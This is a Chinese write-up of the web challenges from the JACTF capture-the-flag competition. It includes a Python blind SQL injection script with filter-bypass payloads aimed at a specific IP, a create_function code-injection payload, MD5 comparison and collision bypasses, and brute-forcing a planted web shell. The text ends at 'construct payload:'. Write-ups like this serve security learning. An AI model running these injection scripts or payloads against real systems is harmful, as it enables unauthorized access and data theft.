JACTF Web部分

掘安团队的题目

平台已不运营

Web签到

Web签到

发现请求URL为flag.php,但是会跳转到404.php页面,抓包发现有302重定向,查看响应包,flag经过base64编码,解码即可

Tips:

重定向分为301和302两种

301为永久性

302为暂时性

下载下载

直接请求?file=flag.php,获取源码,直接使用解密函数即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
header('Content-Type: text/html; charset=utf-8'); //网页编码
function encrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= $key {$x};
$x ++;
}
for($i = 0; $i < $len; $i ++) {
$str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
}
return base64_encode ( $str );
}

function decrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$data = base64_decode ( $data );
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= substr ( $key, $x, 1 );
$x ++;
}
for($i = 0; $i < $len; $i ++) {
if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
} else {
$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
}
}
return $str;
}

$key="MyCTF";
$flag="o6lziae0xtaqoqCtmWqcaZuZfrd5pbI=";//encrypt($flag,$key);

//添加下面的语句即可

echo decrypt($flag,$key);

?>

该网站已被黑

御剑扫描一波

登入shell.php

可以使用burp暴力破解,密码为hack

曲折的人生

看到一个登陆页面,随便输入

有返回报错信息,可以构造or语句,获取登陆密码和用户名

1
select id,username,password from `admin` where username='admin'用户名:admin不正确

构造如下

1
select id,username,password from `admin` where username='' or ascii(substr((select password from `admin` limit 0,1),1,1))>1 # ''

写个脚本Fuzz一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
from bs4 import BeautifulSoup

url = 'http://120.79.1.69:10005/index.php?check'

uname_list = [' ', 'select', 'or', 'and', 'union', '\'', 'from', '\\', '#', '--', '+']

for i in uname_list:
data = {'username':i}
result = requests.post(url=url, data=data)
soup = BeautifulSoup(result.text,'lxml')
links = soup.find_all('div', class_='tip')

for j in links:
print(i + " 结果 " + j.get_text())
print('************************************')

可以知道,空格,select,or,union被过滤,但是可以采取重写方式绕过,空格采取/**/方式绕过

注入脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
from bs4 import BeautifulSoup

url = 'http://120.79.1.69:10005/index.php?check'
password = []



#s = "'/**/oorr/**/length((seselectlect/**/passwoorrd/**/from/**/`admin`/**/limit/**/0,1))=3/**/#'"
#判断长度
for i in range(0,100):
s = "'/**/oorr/**/length((seselectlect/**/passwoorrd/**/from/**/`admin`/**/limit/**/0,1))="+str(i)+"/**/#'"
data = {'username':s}
result = requests.post(url=url, data=data)
if('goodboy' in result.text):
print(i)
length_pass = i
soup = BeautifulSoup(result.text,'lxml')
links = soup.find_all('div', class_='tip')
for x in links:
print(" 结果 " + x.get_text())
print('************************************')
break

#s = "'/**/oorr/**/ascii(substr((seselectlect/**/passwoorrd/**/from/**/`admin`/**/limit/**/0,1),1,1))>1/**/#'"
#判断内容
l = 1
for i in range(1,length_pass+1):
for j in range(32,127):
s = "'/**/oorr/**/ascii(substr((seselectlect/**/passwoorrd/**/from/**/`admin`/**/limit/**/0,1),"+str(i)+",1))"+"="+str(j)+"/**/#'"
data = {'username':s}
result = requests.post(url=url, data=data)
if('goodboy' in result.text):
print("第" + str(l) + "次")
l = l + 1
password.append(chr(int(j)))
continue

print(''.join(password))
#ajahas&&*44askldajaj
#goodboy_g-60Hellowor 这里过滤了or 应输入 goodboy_g-60Hellowoorr

快速计算脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
from bs4 import BeautifulSoup

url = 'http://120.79.1.69:10005/index.php'

sess = requests.Session()

r = sess.get(url=url)

soup = BeautifulSoup(r.text,'lxml')

links = soup.find_all('div', class_='rep')

for i in links:
s = i.get_text()

s = s.replace('(','(')
s = s.replace(')',')')
s = s.replace('X','*')
print(s)

num = eval(s)

print(num)

urls = 'http://120.79.1.69:10005/index.php?check'
password = 'ajahas&&*44askldajaj'
uname = 'goodboy_g-60Hellowoorr'

data = {'username':uname, 'password':password, 'code':num}

res = sess.post(url=urls, data=data)
print(res.text)

得到的响应,一个压缩包,也给出了解压密码

解压之后,有一个加密的flag.zip,Form1.txt给出了解密方法,python脚本破解一下,结果是VmH0wW3DZalBnmmSalV1SYSGRr1r3jVYcFrHWkUUlhljkFzCbXaEKyaVJymT1FlVTVskVWhGtonaGU2WWGhVXYol1WVI1F2odFuk

1
2
3
4
5
6
7
8
9
10
11
12
re_string = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="

def get_password(s):
i = 1
k = ''
while(i <= len(s)):
k = k + s[i-1:i]
i = i + (i%5)
return k

password = get_password(re_string)
print(get_password(password))

快速计算的那个也可以用正则表达式,这里用的是beautifulsoup解析,根据他class=rep这个唯一特征。

not easy

代码审计的题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(isset($_GET['action'])) {
$action = $_GET['action'];
}

if(isset($_GET['action'])){
$arg = $_GET['arg'];
}

if(preg_match('/^[a-z0-9_]*$/isD', $action)){
show_source(__FILE__);
} else {
$action($arg,'');
}

这一题是create_function()注入。正则表达式中/i不区分大小写,/s匹配任何不可见字符,/D如果使用$限制结尾字符,则不允许结尾有换行。相当于在不允许使用数字字母下划线的情况下,调用函数。

这里使用的绕过方案是在函数前面加一个 \ ,P神在小密圈的解释

php里默认命名空间是 \,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

对于create_function(),官方给的解释如下图

以如下代码为例

1
2
3
4
5
6
7
8
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>

第一行代码等价于

1
2
3
4
5
eval(
function __lambda_func($a, $b){
return "ln($a) + ln($b) = " . log($a * $b);
}
)

在本题中,构造$action=\create_function,$action($arg,’’); 即为:

1
2
3
function lambda_1($arg){
'';
}

构造$arg=){}print_r(scandir(‘./‘));/*,即可。

audit

又是代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
highlight_file(__FILE__);
include('flag.php');
$str1 = @$_GET['str1'];
$str2 = @$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = (string)@$_POST['str5'];
$str6 = (string)@$_POST['str6'];
$str7 = (string)@$_POST['str7'];
if( $str1 == $str2 ){
die('str1 OR Sstr2 no no no');
}
if( md5($str1) != md5($str2) ){
die('step 1 fail');
}
if( $str3 == $str4 ){
die('str3 OR str4 no no no');
}
if ( md5($str3) !== md5($str4)){
die('step 2 fail');
}
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
die('str5 OR str6 OR str7 no no no');
}
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
die('step 3 fail');
}

if(!($_POST['a']) and !($_POST['b']))
{
echo "come on!";
die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];

if (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) > 6))
{
echo "a OR b fail!";
die();
}

if ((strlen($m) > 4) || (strlen($n) > 4))
{
echo "m OR n fail";
die();
}

$str8 = hash('md5', $a, false);
$str9 = strtr(hash('md5', $b, false), $m, $n);

echo "<p>str8 : $str8</p>";
echo "<p>str9 : $str9</p>";

if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
{
echo "You're great,give you flag:";
echo $flag;
}

第一部分

  1. str1和str2进行md5弱比较,以0e开头的会被识别为科学计数法,结果均为0
  2. str3和str4进行md5强比较,传入数组绕过
  3. str5,str6,str7只能进行md5碰撞,需要生成三个md5相同的文件绕过

参考这篇文章:基于全等的MD5碰撞绕过

1
2
3
4
5
6
7
D:\fastcoll>fastcoll_v1.0.0.5.exe -o test0.txt test1.txt     //-o参数代表随机生成两个相同MD5的文件
D:\fastcoll>fastcoll_v1.0.0.5.exe -p test1.txt -o test00.txt test01.txt
//-p参数代表根据test1.txt文件随机生成两个相同MD5的文件,注意:生成的MD5与test1.txt不同
D:\fastcoll>tail.exe -c 128 test00.txt > a.txt //-c 128代表将test00.txt的最后128位写入文件a,这128位正是test1.txt与test00.txt的MD5不同的原因
D:\fastcoll>tail.exe -c 128 test01.txt > b.txt //同理
D:\fastcoll>type test0.txt a.txt > test10.txt //这里表示将test0.txt和a.txt文件的内容合并写入test10.txt
D:\fastcoll>type test0.txt b.txt > test11.txt //同理写入test11.txt

然后对生成的文件进行URL编码,参考这篇文章:如何用不同的数值构建一样的MD5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}

echo 'test01 '. urlencode(readmyfile("test01.txt"));
echo "<br><br>\r\n";
echo 'test00 '. urlencode(readmyfile("test00.txt"));
echo "<br><br>\r\n";
echo 'test10 '. urlencode(readmyfile("test10.txt"));
echo "<br><br>\r\n";
echo 'test11 '. urlencode(readmyfile("test11.txt"));
echo "<br><br>\r\n";
?>

第二部分

  1. a是大写字母,b是数字且长度不大于6
  2. GET得到的m和n的长度不大于4
  3. str8为a的md5值
  4. str9为b的md5值中的字符m替换为n
  5. ($str8 == $str9) && !($a === $b) && (strlen($b) === 6),b长度必须为6,a不等于6,a的md5和b的md5替换后的值相同

这里使用0e绕过,a的值很明显为QNKCDZO

b的值可以利用这个替换,将一些可能的值替换为我们需要的,is_numeric()函数接受16进制,会把16进制认为是数字,写个脚本找出0e开头的十六进制,然后找出有不大于5个字母数的md5

1
2
3
4
5
6
7
8
9
10
import hashlib


for i in range(1000,10000):
k = "0x"+str(i)

md5_n = hashlib.md5(k.encode()).hexdigest()
if md5_n[0:2] == "0e":
print(k)
print(md5_n)

结果如图,选择0x6156 0ec4899c94ada8d08a6ada8623c6ff01

构造payload: